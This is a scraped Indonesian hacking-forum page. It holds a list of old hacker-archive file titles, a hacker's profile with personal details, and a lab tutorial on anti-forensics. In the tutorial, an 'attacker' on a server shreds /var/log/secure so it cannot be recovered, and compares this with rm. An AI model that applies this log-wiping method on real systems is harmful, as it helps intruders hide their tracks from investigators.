the UNIX operating system (Berkley 4.2).txt
Theft of Computer Software-A National Security Threat.txt
Thoughts on the National Research and Education Network.txt
Three Ways Of Bypass Starforce Cd Protection.txt
Tip for shutdown windows - virus.txt
Tips And Tricks, Windows XP.txt
Tips on Starting Your Own BBS.1
Tired Of Reinstalling Windows.txt
To Get And Show The Ip Via Javascript.txt
Top 5 Myths About Safe Surfing, PC Magazine.txt
Transferring Data.txt
Translating Binary To Text.txt
Translating Binary to Text2.txt
Trojan Ports.txt
Turn MSN Messenger Display Pix into User Pix on XP.txt
Turn Off Unneeded Services, speed up pc.txt
Tutorial Get the serial number you need.txt
Tutorial How to create a bootable Windows XP SP1 CD (Nero).txt
Tutorials - blacksun.box.sk
Ultimate Google Way.txt
ULTIMATE GUIDE TO BYPASS BIOS PASSWORDS!.txt
Understanding the Telephone System.txt
undocumented DOS commands.txt
Uninstall Windows Xp And Return To My Old Windows.txt
Uninstalling Norton 2004 Products.txt
UNIX Computer Security Checklist.0
UNIX Use and Security - By the Prophet.txt
UNIX Use and Security From The Ground Up.htm
UNIX- A Hacking Tutorial.SIR
Unlimited ********** Downloads.txt
Untold Window Tips.txt
Untold Windows Secrets.txt
Untold Windows Tips.txt
Unused space on hard drives recovered.txt
Use Hotkeys To Switch Programs.txt
Useful Download Guide, Fix Down, 0daycn Ttdown, Links.txt
User's Guide To Avoiding Virus Infections, Keeping an eye out for viruses.txt
Using Google As A Calculator, A Tutorial.txt
Using Google for searching ebooks.txt
Using Rapid Share, How to use them and skip the BS.txt
Video Avatars.txt
Viewing Leftover Driver Entries.txt
Virtual Memory Information.txt
Virtual Memory Optimization Guide Rev. 4.0 - Final.txt
Viruii FAQ.txt
Virus-Trojan FAQ.txt
Want To Download Torrent File By Using Google.txt
Warez Definations.txt
WAREZ DEFINITION.txt
Way To Download From Brturbo, FireFox.txt
We Don't Need No Education, Online classes made easy.txt
Welcome to The king's meaning's of how to kick some-one's ASS!.txt
What Files are Legal for Distribution on a BBS.txt
What is the Registry.txt
What Should I Do With Image Files.txt
What To Look For In A Code Hacking Program.htm
What To Look For In A Code Hacking Program.txt
What You Should Know About Computer Viruses.DNA
What You Wanted To Know About Movie Jargon, But Were Afraid To Ask.txt
When Good Discs Go Bad.txt
Where Is Winipcfg In Winxp.txt
Who's Seeding The Net With Spyware.txt
Why wait 35 Seconds at e******.txt
Win 2000 Dr. Watsson.txt
Windows 2000 Tips & Tricks.txt
Windows 2003 System Restore, How to activate system restore in W2K3.txt
Windows Scan Count Down Time.txt
Windows Shortcuts.txt
WINDOWS TRUE HIDDEN FILES.txt
Windows Tweak, Hack Your Start Button.txt
Windows Xp - Speed Up Your Network and Internet Access.txt
WINDOWS XP HIDDEN APPS.txt
Windows XP Registry Tweaks.txt
Windows XP Startup and Performance Tweaks.txt
Windows Xp Tips 'n' Tricks.txt
Windows Xp Tweaks, A work in progress.txt
Windows XP Tweaks.txt
WinRar Tutorial - Compression profiles, passwords and more.txt
Winsock 2 Repair.txt
WinXP 3 Tips.txt
Winxp Application Defrag, faster access for used programs.txt
Winxp Applications Startup Time, Decrease your Applications startup time.txt
WinXP Bootable CD.txt
Winxp System Response, reboot whitout rebooting.txt
Winxp Tips And Tricks, Winsock 2 repair.txt
Xp Auto Install.txt
Xp Folder View Does Not Stay To You're Setting., Grab your registry editor and join in.txt
XP REPAIR INSTALL.txt
XP Tweaking.txt
Yahoo + geocities Posts.txt
Yahoo Chat Commands how to.rtf
Yahoo Messeger, no ad's.txt
You Want Lots Of Music, Appz, Anything, Try Dex Hunting.txt
Your Home Page Nevr Being Changed.txt
Your Own Home Server - Introduction.txt
Zen and the Art of Fone Phreaking `97 .txt
[php] Navigations.txt

Kalau ga percaya itung sendiri ya gan

Download : Here

Maaf Virus Totalnya ga ada, inet 3 ane lagi lemot

Semoga berguna buat agan2 :)

Source: Source

Continue Reading

Tokoh Hacking dan profile nya

Lirva32

Siapa sih Lirva32...???
Lirva32 itu bukan siapa2... bukan hacker.. bukan attacker.. juga bukan cracker... hanya manusia pembelajar dari keluarga sederhana... hanya anak sang Prajurit di Yon Zikon 14 Lenteng Agung.Dunia Keamanan Komputer, Jaringan dan Programming adalah dunia yang mengantarkannya pada mimpi untuk menjadi seorang hacker - seorang hacker - just hacker wannabe -
Tetap memacu kinerja otak dan adrenalin untuk bisa bangkit dari kegagalan.. kemiskinan dan keterbelakangan...
Kini merelakan dan mengikhlaskan diri untuk hidup diantara Firewall, IPS dan IDS... berusaha menyisakan waktu disela2 kesibukannya untuk tetap bisa mengajar...


Specification
Handle : Lirva32
A.K.A : SatanicB,SatanicBrain,n1md4
Origin : Cirebon
Email : lirva32@yahoo.com , satanic_brain2001@yahoo.com
Produced in : Jakarta, Indonesian
Age : twenty-nine
Location : Poltangan_Pasar_Minggu - Depok_Beji - Bekasi
My daughter :

Faiza Debian Nafisa [ lahir : 11 Juni 2006 ]
Fivana Gutsy Ramadhani [lahir : 25 Agustus 2009]

Blogz : Sorry, i'm not a blogger
Computers :
                # AMD Duron 1200 Mhz,512 Mhz,20 Gb, Sysops  : SuSe 10, FreeBsd 5.4
      # Wearness Intel 1200 Mhz, 1 Ghz, 40 Gb, SysOps : XP Prof 2K Server
     and FreeBSD 5.4
# NoteBook Core Duo, 80 Gb, 512 1024 2048 Mb,SysOps: XP | SuSe 
     Ubuntu : Gutsy
# NoteBook Accer 2920 Core 2 Duo, 160Gb,2048 Mb,SysOps : Vista BE
Member of : echo.or.id, BlackYahoo.org [collapse], BekasiUnderGround
Jobs : . Security Auditor
      . CISCO Instructur
      . Lecture
Virii Project : lirva@worm32, 4N71.Azrael, SaTaniC-B, BootC
Favourite Tutor : F1, man, Readme, E-Magazine, EchoEzine
Interest : . Hacking & Security
      . Networking & Progamming
Top Site : ~ http://www.echo.or.id
      ~ http://www.k-otik.com
~ http://www.google.com
~ http://securitytracker.com
~ http://www.petri.co.il
~ http://seclists.org/lists/bugtraq
~ http://zone-h.org
~ http://www.detik.com
~ http://packetstorm.linuxsecurity.com
~ http://jasakom.com
~ http://hackaday.com
     
[ Favorite ]   
Foods: MieAyam, TempeBacem, GadoGado, Kredok,TahuGejrot,Bakso, MpekMpek,SopKakiBetawi,
      AsinanBogor, Rujak, BleKutak [cumi masak yang warnanya hitam],
      SegaLengko, SegaJamblang [nasi khas cirebon], RujakKangkung
Drinkz : H20rgi,TehManis,AirTebu,FreshMilk,JusMelon,JusMarkisa,
      JusJagung,BlackCurrentTea,PocariSweat,KratingDaeng,little Alcohol
Colorz : DarkBlue,BlackUndeGround
Music : Metal, SlowRock
Bandz : Metallica,Halloween,RadioHead,DreamTheater,BonJovi,Scorpions
Movies : all Army Strategy, KungFu
Books : I love  : RedHat Book, CISCO Book, etc about computer book
     
[ Life words ]   
Studying.. Working.. Praying..
     
[ Hopes]   
. have a notebook ~Accer Ferrary Turion64 ~
. 2008 harus : have a new jobs in industry company.. biar bisa cepet beli roda empat... lol
. write a book about hacking

. make a one linux distro [still finishing 60% ~ allaboutsecurity]
     
[ Riset Project ]
. Wireless Hacking   
. HoneyPot | HoneyNet | HoneyFarm
. RFID Hacking
. Bluetooth Hacking

. Port Knocking
. CDMA & GSM Jammer

. Banking Security


else about me :

http://www.google.com/search?q=lirva
http://www.google.com/search?q=lirva32

Website: http://lirva32.org
Dikutip dari: http://lirva32.org/w...id=12&Itemid=26

Dia juga hadir di idsecconf 2010 kemaren..

Continue Reading

Anti-Forensik: file / log

Penulis: Aray Van Jakster


--[ Daftar isi

# Pendahuluan
# Shred = Anti Forensik
# Skenario
# implementasi


--[ Pendahuluan

Sebelum membahas lebih jauh mengenai forensik, ada baiknya kita mengerti perbeda
antara komputer forensik dengan anti komputer forensik. Mungkin dari kata tersebut
sudah jelas bahwa diantara keduanya saling berlawanan. komputer forensik dilakukan
oleh para ahli komputer forensik untuk memper oleh data serta informasi akurat
mengenai kasus-kasus cyber crime sebagai penyelidikan. Sedangkan Anti komputer
forensik biasa dilakukan oleh orang-orang pemberontak (attacker) untuk menghilang-
kan jejak serta mempersulit team forensik untuk melaksanakan tugasnya. Kedua
forensik tersebut dapat dilakukan pada mesin/komputer standalone (tidak terhubung
kejaringan) dan terhubung kejaringan.


--[ Shred = Anti Forensik

Terdapat 2 tool standar untuk menghapus file dan directory didalam GNU/Linux yaitu
rm(remove) dan shred. Mungkin kita sering memakai rm untuk menghapus file dan
directory, namun yang terhapus hanyalah bagian inode(index node), jadi suatu saat
dapat di recovery dan dibaca dengan baik. Berbeda dengan Shred yang menghapus file
dan directory dengan mengkosongkan atau membuat isi file tidak dapat terbaca
dengan baik, jadi walaupun file telah dapat direcovery isi didalamnya tidak dapat
terbaca atau kosong.

Shred sangatlah membantu untuk keamanan dan privasi user, karena tujuan pembuatan
seperti itu. Jadi jika suatu saat kita ingin menjual laptop/PC sebaiknya kita
menghapus semua data secara permanen pada hardisk kita atau menghapus semua
password-password yang sangat rahasia. Namun ibarat pisau bermata dua, shred
menjadi salah satu tool kebanggaan attacker untuk melakukan anti forensik.


--[ Skenario dikit :)

Pada kasus ini berhubung laptop hanya punya satu, jadi saya memilih virtualbox
agar proses remote dapat dilakukan dengan baik. Anggap terdapat dua komputer yang
saling terhubung. Saya memakai OS ubuntu sebagai atacker dan OS centos sebagai
server, kita anggap si attacker sudah masuk kedalam server dengan menggunakan
ssh/remote. kemudian server membuat atau memiliki file dan attacker akan menghapus
beberapa file dengan shred. Dapat dibuktikan berjalan dengan baik untuk tujuan
proses anti forensik. Langsung saja kita menuju ke TKP.


--[ Implementasi GO GO GO

1. Dari mesin attacker ssh ke mesin target(server)

owl-9@owl9-VirtualBox:~$ sudo su[sudo] password for owl-9:
root@owl9-VirtualBox:/home/owl-9# ssh owl-9@10.150.139.54
The authenticity of host '10.150.139.54 (10.150.139.54)' can't be established.
RSA key fingerprint is 4d:f5:20:c7:e7:aa:f9:06:45:ca:1b:b4:b7:9f:4d:30.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.150.139.54' (RSA) to the list of known hosts.
owl-9@10.150.139.54's password:
Last login: Mon Jun  4 18:51:11 2012 from 10.190.53.75
[owl-9@[member='www'] ~]$ suPassword: 

2. kemudian attacker melihat file secure untuk dijadikan anti-forensik

[root@[member='www'] log]# tail -f /var/log/secure
Jun  5 06:07:26 www polkitd(authority=local): Operator of unix-session:/org/free
desktop/ConsoleKit/Session2 successfully authenticated as unix-user:root to gain
TEMPORARY authorization for action org.freedesktop.udisks.filesystem-mount-system-
internal for system-bus-name::1.45 [/usr/libexec/gvfs-gdu-volume-monitor]
(owned by unix-user:owl-9)
Jun  5 06:11:48 www su: pam_unix(su:auth): authentication failure; logname=owl-9
uid=500 euid=0 tty=pts/2 ruser=owl-9 rhost=  user=rootJun  5 06:11:53 www su: pam_unix(su:session): session opened for user root by
owl-9(uid=500)
Jun  5 06:11:59 www userhelper[5036]: running '/usr/sbin/eject /dev/sr1' with root
privileges on behalf of 'root'
Jun  5 06:12:43 www su: pam_unix(su:session): session opened for user root by
owl-9(uid=500)
Jun  5 06:36:38 www sshd[5505]: Server listening on 0.0.0.0 port 22.
Jun  5 06:36:38 www sshd[5505]: Server listening on :: port 22.
Jun  5 06:38:41 www sshd[5512]: Accepted password for owl-9 from 10.150.139.54
port 60617 ssh2Jun  5 06:38:41 www sshd[5512]: pam_unix(sshd:session): session opened for user
owl-9 by (uid=0)
Jun  5 06:38:46 www su: pam_unix(su:session): session opened for user root by
owl-9 (uid=500)

3. kemudian attacker mencari tahu nilai inode file secure, dan nilai inode di
   dapat 132572

[root@[member='www'] log]# stat /var/log/secure
  File: `/var/log/secure'
  Size: 2121              Blocks: 8               IO Block: 4096   regular file
Device: 806h/2054d      Inode: 132572     Links: 1
Access: (0600/-rw-------)  Uid: (       0/      root)   Gid: (  0/      root)
Access: 2012-06-05 06:53:34.962852135 +0700
Modify: 2012-06-05 06:38:46.533819520 +0700
Change: 2012-06-05 06:38:46.533819520 +0700

4. Melakukan anti forensik dengan menggunakan shred ke file secure

[root@[member='www'] log]# shred --random-source=/dev/urandom -u /var/log/secure

5. attacker melakukan pengecekan apakah file tersebut benar-benar terhapus.

[root@[member='www'] log]# ls -la /var/log/secure
ls: cannot access /var/log/secure: No such file or directory[root@[member='www'] log]# stat /var/log/secure
stat: cannot stat `/var/log/secure': No such file or directory

Setelah file terhapus, attacker mencoba untuk recovery, apakah file tersebut masih
dapat di baca atau tidak tebaca atau bahkan tidak ada isinya.

6. attacker menggunakan tool recovery bawaan linux yaitu lsof. Dengan mengetahui
   info nilai inode yaitu 132572, kemudian PID(process id) yaitu 3627, descriptor
   5 dari 5w. Maka kita bisa mengetahui atau recovery file tersebut.

[root@[member='www'] log]# lsof | grep 132572
rsyslogd  3627  root   5w       REG     8,6     0        132572 /var/log/0 (deleted)

7. kemudian attacker melakukan recovery dengan copy file secure dari lokasi
   pseudo-filesystem.

[root@[member='www'] log]# cp /proc/3627/fd/5 secure

8. Setelah itu dilakukan pengecekan apakah file dapat terbaca atau kosong setelah
   di recovery, tapi ternyata hasilnya kosong dan tidak terbaca.

[root@[member='www'] log]# tail -f /var/log/secure
[root@[member='www'] log]# tail -f secure
[root@[member='www'] log]# file secure
secure: empty

Kita bandingkan jika kita menghapus dengan menggunakan rm -rf

1. cek isi dari file message

[root@[member='www'] owl-9]# tail -f /var/log/messages
Jun  6 12:52:59 www kernel: usb 2-1.2: configuration #1 chosen from 1 choice
Jun  6 12:52:59 www kernel: input: Logitech USB Optical Mouse as /devices/
pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2/2-1.2:1.0/input/input12Jun  6 12:52:59 www kernel: generic-usb 0003:046D:C058.0001: input,hidraw0:
USB HID v1.11 Mouse [Logitech USB Optical Mouse] on usb-0000:00:1d.0-1.2/input0Jun  6 12:53:09 www ntfs-3g[4932]: Version 2010.10.2 integrated FUSE 27
Jun  6 12:53:09 www ntfs-3g[4932]: Mounted /dev/sda5 (Read-Write, label "",
NTFS 3.1)
Jun  6 12:53:09 www ntfs-3g[4932]: Cmdline options: rw,nosuid,nodev,uhelper=udisks,
uid=500,gid=500,dmask=0077
Jun  6 12:53:09 www ntfs-3g[4932]: Mount options: rw,nosuid,nodev,uhelper=udisks,
allow_other,nonempty,relatime,fsname=/dev/sda5,blkdev,blksize=4096,default_
permissionsJun  6 12:53:09 www ntfs-3g[4932]: Global ownership and permissions enforced,
configuration type 1
Jun  6 13:02:41 www kernel: warning: `VirtualBox' uses 32-bit capabilities
(legacy support in use)
Jun  6 13:02:51 www pulseaudio[4561]: ratelimit.c: 9 events suppressed

2. cek status dan didapat inode 132571

[root@[member='www'] owl-9]# stat /var/log/messages
  File: `/var/log/messages'
  Size: 149732          Blocks: 296             IO Block: 4096   regular file
Device: 806h/2054d      Inode: 132571     Links: 1
Access: (0600/-rw-------)  Uid: (       0/      root)   Gid: (  0/      root)
Access: 2012-06-06 13:02:52.113595163 +0700
Modify: 2012-06-06 13:02:51.112951011 +0700
Change: 2012-06-06 13:02:51.112951011 +0700

3. menghapus file messages

[root@[member='www'] owl-9]# rm -rf /var/log/messages

4. cek apakh file tersebut sudah terhapus? ternyata sudah.

[root@[member='www'] owl-9]# ls -la /var/log/messages
ls: cannot access /var/log/messages: No such file or directory

5. kemudian mencari info untuk mendapatkan nilai process id dan descriptor.

[root@[member='www'] owl-9]# lsof | grep 132571
rsyslogd  3627   root   1w   REG   8,6  149732  132571 /var/log/messages (deleted)
abrt-dump 4210   root   4r   REG   8,6  149732  132571 /var/log/messages (deleted)

6. karena terdapat file, jadi kita cek secara spesifik, dan kita  memilih yang
   bukan null. Terdapat pula penghapusan file messages tanggal 6 juni jam 12:55.

[root@[member='www'] owl-9]# ls -l /proc/3627/fd/1
l-wx------ 1 root root 64 Jun 6 12:55 /proc/3627/fd/1-> /var/log/messages (deleted)
[root@[member='www'] owl-9]# ls -l /proc/4210/fd/1
l-wx------ 1 root root 64 Jun  6 12:55 /proc/4210/fd/1 -> /dev/null

7. setelah itu dilakukan pengecekan file pada /proc ternyata masih ada.

[root@[member='www'] owl-9]# file /proc/3627/fd/1
/proc/3627/fd/1: broken symbolic link to `/var/log/messages (deleted)'

8. kemudian kita recovery dengan mengcopy file messages dari informasi yang di
   dapat sebelumnya.

[root@[member='www'] owl-9]# cp /proc/3627/fd/1 messages

9. setelah berhasil dicopy, kita cek isi di dalam file messages tersebut, dan ternyata
   masih ada dan masih bisa terbaca.

[root@[member='www'] owl-9]# tail -f messages
Jun  6 12:52:59 www kernel: input: Logitech USB Optical Mouse as /devices/
pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2/2-1.2:1.0/input/input12Jun  6 12:52:59 www kernel: generic-usb 0003:046D:C058.0001: input,hidraw0: USB HID
v1.11 Mouse [Logitech USB Optical Mouse] on usb-0000:00:1d.0-1.2/input0Jun  6 12:53:09 www ntfs-3g[4932]: Version 2010.10.2 integrated FUSE 27
Jun  6 12:53:09 www ntfs-3g[4932]: Mounted /dev/sda5 (Read-Write, label "",
NTFS 3.1)
Jun  6 12:53:09 www ntfs-3g[4932]: Cmdline options: rw,nosuid,nodev,uhelper=udisks,
uid=500,gid=500,dmask=0077
Jun  6 12:53:09 www ntfs-3g[4932]: Mount options: rw,nosuid,nodev,uhelper=udisks,
allow_other,nonempty,relatime,fsname=/dev/sda5,blkdev,blksize=4096,default_
permissionsJun  6 12:53:09 www ntfs-3g[4932]: Global ownership and permissions enforced,
configuration type 1
Jun  6 13:02:41 www kernel: warning: `VirtualBox' uses 32-bit capabilities
(legacy support in use)
Jun  6 13:02:51 www pulseaudio[4561]: ratelimit.c: 9 events suppressed
Jun  6 13:19:21 www pulseaudio[4561]: ratelimit.c: 472 events suppressed

--[ Referensi
http://en.wikipedia....puter_forensics
http://linuxpoison.blogspot.com/
PDF: PutuShinoda--paper keamanan sistem


--[ Greetz

-CentOs -RGM -ORTU -om.dru, abi71, dewae, kitt99, hexspoofer, dan semua anak2 RNDC.

Continue Reading